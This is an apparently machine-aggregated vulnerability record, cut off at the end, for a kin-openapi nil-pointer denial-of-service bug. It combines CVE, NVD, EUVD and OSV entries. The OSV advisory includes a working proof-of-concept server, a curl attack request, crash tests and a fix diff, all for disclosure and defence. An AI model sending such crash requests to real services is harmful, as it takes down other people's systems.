{"id":"CVE-2026-97394","revision":null,"records":[{"revision":"977b10eaf70a427799bd5b95301e14bd","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-97394","aliases":[],"title":"kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.","state":0,"publishedAt":"2026-10-15T15:29:05.238+00:00","modifiedAt":"2026-10-20T02:45:09.805+00:00","affected":[{"ecosystem":"Vendor product","name":"kin-openapi","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"getkin\",\n                    \"product\": \"kin-openapi\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 0.136.0, < 0.143.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","https://github.com/getkin/kin-openapi/releases/tag/v0.143.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-97394","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-97394","identifiers":["CVE-2026-97394"]},"retained":false,"historicalAffected":[]},{"revision":"94d44a8e5ac54b9c89b9e9c4e452996f","observedAt":"2026-11-07T15:27:33.46+00:00","statement":{"source":"euvd","id":"EUVD-2026-102143","aliases":["CVE-2026-97394","GHSA-p6wj-qrr4-pgh5"],"title":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-…","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","https://github.com/getkin/kin-openapi/releases/tag/v0.143.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-102143","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 15, 2026, 3:29:05 PM","dateUpdated":"Oct 20, 2026, 2:45:09 AM"},"relatedAdvisories":[{"id":"RHSA-2026:76448","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2024-24786","CVE-2026-13719","CVE-2026-13720","CVE-2026-56851","CVE-2026-61801","CVE-2026-81841","CVE-2026-97394","CVE-2026-101899"]},{"id":"RHSA-2026:76430","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2024-24786","CVE-2026-13719","CVE-2026-13720","CVE-2026-56851","CVE-2026-61801","CVE-2026-76154","CVE-2026-81841","CVE-2026-97394","CVE-2026-101899"]},{"id":"RHSA-2026:76677","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2024-24786","CVE-2026-56851","CVE-2026-61801","CVE-2026-95502","CVE-2026-97394","CVE-2026-100347","CVE-2026-100348","CVE-2026-100349","CVE-2026-100350","CVE-2026-100351","CVE-2026-101899","CVE-2026-109855"]},{"id":"RHSA-2026:82637","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-97394","CVE-2026-100347","CVE-2026-100348","CVE-2026-100349","CVE-2026-100350","CVE-2026-100351","CVE-2026-100352","CVE-2026-100353","CVE-2026-100354"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-102143","identifiers":["EUVD-2026-102143","CVE-2026-97394","GHSA-p6wj-qrr4-pgh5"]},"retained":false,"historicalAffected":[]},{"revision":"1ef96c2f897744688062902975d27fd9","observedAt":"2026-10-25T16:19:28.255+00:00","statement":{"source":"nvd","id":"CVE-2026-97394","aliases":[],"title":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-…","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.","state":0,"publishedAt":"2026-10-15T16:18:25.273+00:00","modifiedAt":"2026-10-20T03:17:17.587+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","https://github.com/getkin/kin-openapi/releases/tag/v0.143.0","https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97394","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-248","CWE-476"],"productCriteria":[],"sourceDates":{"published":"2026-10-15T16:18:25.273","lastModified":"2026-10-20T03:17:17.587"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-97394","identifiers":["CVE-2026-97394"]},"retained":false,"historicalAffected":[]},{"revision":"2022df7cc2734c8693fa2d71c1887cf8","observedAt":"2026-11-05T23:38:32.248+00:00","statement":{"source":"osv","id":"GHSA-p6wj-qrr4-pgh5","aliases":["CVE-2026-97394","GO-2026-6790"],"title":"kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items","description":"### Summary\n\nA nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.\n\n### Details\n\n**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.\n\n**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):\n\n```go\ncase propType.Is(\"array\"):\n    items := propSchema.Value.Items.Value  // Items == nil → panic\n```\n\nThis runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).\n\nThe same nil `Items` also crashes:\n\n| Path | Location | Trigger |\n|---|---|---|\n| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property |\n| `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |\n\n`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.\n\n**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:\n\n```diff\n case propType.Is(\"array\"):\n+\tif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {\n+\t\treturn nil, fmt.Errorf(\"unsupported schema of request body's property %q: array items required for decoding\", propName)\n+\t}\n \titems := propSchema.Value.Items.Value\n```\n\nApply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.\n\n### PoC\n\nVerified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.\n\n**1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:\n\n```yaml\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n```\n\n**2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tlog.Fatalf(\"doc.Validate rejected (unexpected for 3.1): %v\", err)\n\t}\n\tfmt.Println(\"SPEC_ACCEPTED; Items ==\", doc.Paths.Value(\"/f\").Post.RequestBody.Value.\n\t\tContent.Get(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value.Items)\n\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Direct call (no net/http recover): proves the library itself panics.\n\treq, _ := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pp, _ := router.FindRoute(req)\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tfmt.Printf(\"DIRECT_PANIC: %v\\n\", r)\n\t\t\t}\n\t\t}()\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pp, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tfmt.Println(\"DIRECT_PANIC: none (unexpected)\")\n\t}()\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\terr = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"ok\\n\"))\n\t})\n\n\taddr := \"127.0.0.1:8085\"\n\tfmt.Printf(\"listening on http://%s/f\\n\", addr)\n\tfmt.Println(\"attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://\" + addr + \"/f\")\n\tlog.Fatal(http.ListenAndServe(addr, mux))\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nSPEC_ACCEPTED; Items == <nil>\nDIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference\nlistening on http://127.0.0.1:8085/f\n```\n\nThen:\n\n```\ncurl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f\n```\n\nServer log:\n\n```\nhttp: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference\n… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421\n… openapi3filter.ValidateRequest …\n```\n\nStack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` → `ValidateRequestBody` → `decodeBody`.\n\n**Attack request:**\n\n```\nPOST /f HTTP/1.1\nHost: victim\nContent-Type: application/x-www-form-urlencoded\n\ntags=a\n```\n\n(Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.)\n\n**4. Regression / multi-surface test suite** — save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst urlencodedSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst urlencodedSpec30 = `\nopenapi: 3.0.3\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst multipartSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst responseHeaderSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /hdr:\n    get:\n      responses:\n        '200':\n          description: ok\n          headers:\n            X-Tags:\n              schema: {type: array}\n`\n\nfunc catchPanic(fn func()) (panicValue any) {\n\tdefer func() { panicValue = recover() }()\n\tfn()\n\treturn nil\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\tschema := doc.Paths.Value(\"/f\").Post.RequestBody.Value.Content.\n\t\tGet(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value\n\trequire.True(t, schema.Type.Is(\"array\"))\n\trequire.Nil(t, schema.Items)\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec30))\n\trequire.NoError(t, err)\n\trequire.Error(t, doc.Validate(loader.Context))\n}\n\nfunc TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(multipartSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(&buf)\n\trequire.NoError(t, w.WriteField(\"tags\", \"a\"))\n\trequire.NoError(t, w.Close())\n\n\treq, err := http.NewRequest(http.MethodPost, \"/upload\", &buf)\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(responseHeaderSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodGet, \"/hdr\", nil)\n\trequire.NoError(t, err)\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{\n\t\t\tRequestValidationInput: &openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t},\n\t\t\tStatus: http.StatusOK,\n\t\t\tHeader: http.Header{\"X-Tags\": []string{\"a,b\"}},\n\t\t\tBody:   io.NopCloser(strings.NewReader(\"\")),\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar panicCount int\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\tdefer func() {\n\t\t\tif recover() != nil {\n\t\t\t\tpanicCount++\n\t\t\t\thttp.Error(w, \"panic in ValidateRequest\", http.StatusInternalServerError)\n\t\t\t}\n\t\t}()\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\trequire.NoError(t, err)\n\t\terr = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(mux)\n\tt.Cleanup(srv.Close)\n\n\tconst n = 5\n\tfor i := 0; i < n; i++ {\n\t\tresp, err := http.Post(srv.URL+\"/f\", \"application/x-www-form-urlencoded\", strings.NewReader(\"tags=a\"))\n\t\trequire.NoError(t, err)\n\t\t_, _ = io.ReadAll(resp.Body)\n\t\t_ = resp.Body.Close()\n\t\trequire.Equal(t, http.StatusInternalServerError, resp.StatusCode)\n\t}\n\trequire.Equal(t, n, panicCount)\n}\n\nfunc TestArrayItemsNilPanic_Deterministic(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tconst attempts = 50\n\tpanics := 0\n\tfor i := 0; i < attempts; i++ {\n\t\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=x\"))\n\t\trequire.NoError(t, err)\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\tif catchPanic(func() {\n\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t}) != nil {\n\t\t\tpanics++\n\t\t}\n\t}\n\trequire.Equal(t, attempts, panics)\n}\n```\n\n**Observed results on the vulnerable tree:**\n\n- 3.1 accepts the schema (`Items == nil`); 3.0 rejects it\n- urlencoded, multipart, and response-header paths all panic with `nil pointer dereference`\n- **50/50** panic rate (100% deterministic)\n- E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` → HTTP 500\n\n### Impact\n\n- **Type:** NULL Pointer Dereference → **unauthenticated remote denial of service**.\n- **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — `doc.Validate()` does **not** reject them under 3.1.\n- **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.\n- **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash.\n- **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).","state":0,"publishedAt":"2026-10-15T20:14:54+00:00","modifiedAt":"2026-11-05T23:25:44.1196937+00:00","affected":[{"ecosystem":"Go","name":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.136.0"},{"kind":"fixed","version":"0.143.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","https://nvd.nist.gov/vuln/detail/CVE-2026-97394","https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","https://github.com/getkin/kin-openapi","https://github.com/getkin/kin-openapi/releases/tag/v0.143.0"],"sourceUrl":"https://github.com/advisories/GHSA-p6wj-qrr4-pgh5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p6wj-qrr4-pgh5","identifiers":["GHSA-p6wj-qrr4-pgh5","CVE-2026-97394","GO-2026-6790"]},"retained":false,"historicalAffected":[]},{"revision":"c19522644cf04acf90a983918d979804","observedAt":"2026-11-05T23:38:32.248+00:00","statement":{"source":"osv","id":"GO-2026-6790","aliases":["CVE-2026-97394","GHSA-p6wj-qrr4-pgh5"],"title":"kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items in github.com/getkin/kin-openapi","description":"kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items in github.com/getkin/kin-openapi","state":0,"publishedAt":"2026-11-05T22:53:53+00:00","modifiedAt":"2026-11-05T23:15:12.7991964+00:00","affected":[{"ecosystem":"Go","name":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.136.0"},{"kind":"fixed","version":"0.143.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","https://nvd.nist.gov/vuln/detail/CVE-2026-97394","https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","https://github.com/getkin/kin-openapi/releases/tag/v0.143.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6790","license":"OSV · upstream source license applies","key":"osv:GO-2026-6790","identifiers":["GO-2026-6790","CVE-2026-97394","GHSA-p6wj-qrr4-pgh5"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8442875+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8442884+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-4b0775bb0fc73c3ceeed66f8f17640894d61d654f97ee9386046b283ad9f9876","complete":true,"records":421100,"lastAttemptAt":"2026-11-08T14:04:21.1432513+00:00","lastSuccessAt":"2026-11-08T14:04:21.1228768+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.1432513+00:00","snapshotPublishedAt":"2026-11-08T13:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-383c643166b94ac4b6a615647191978e","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T14:04:47.6384375+00:00","lastSuccessAt":"2026-11-08T13:04:50.073+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:50.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS 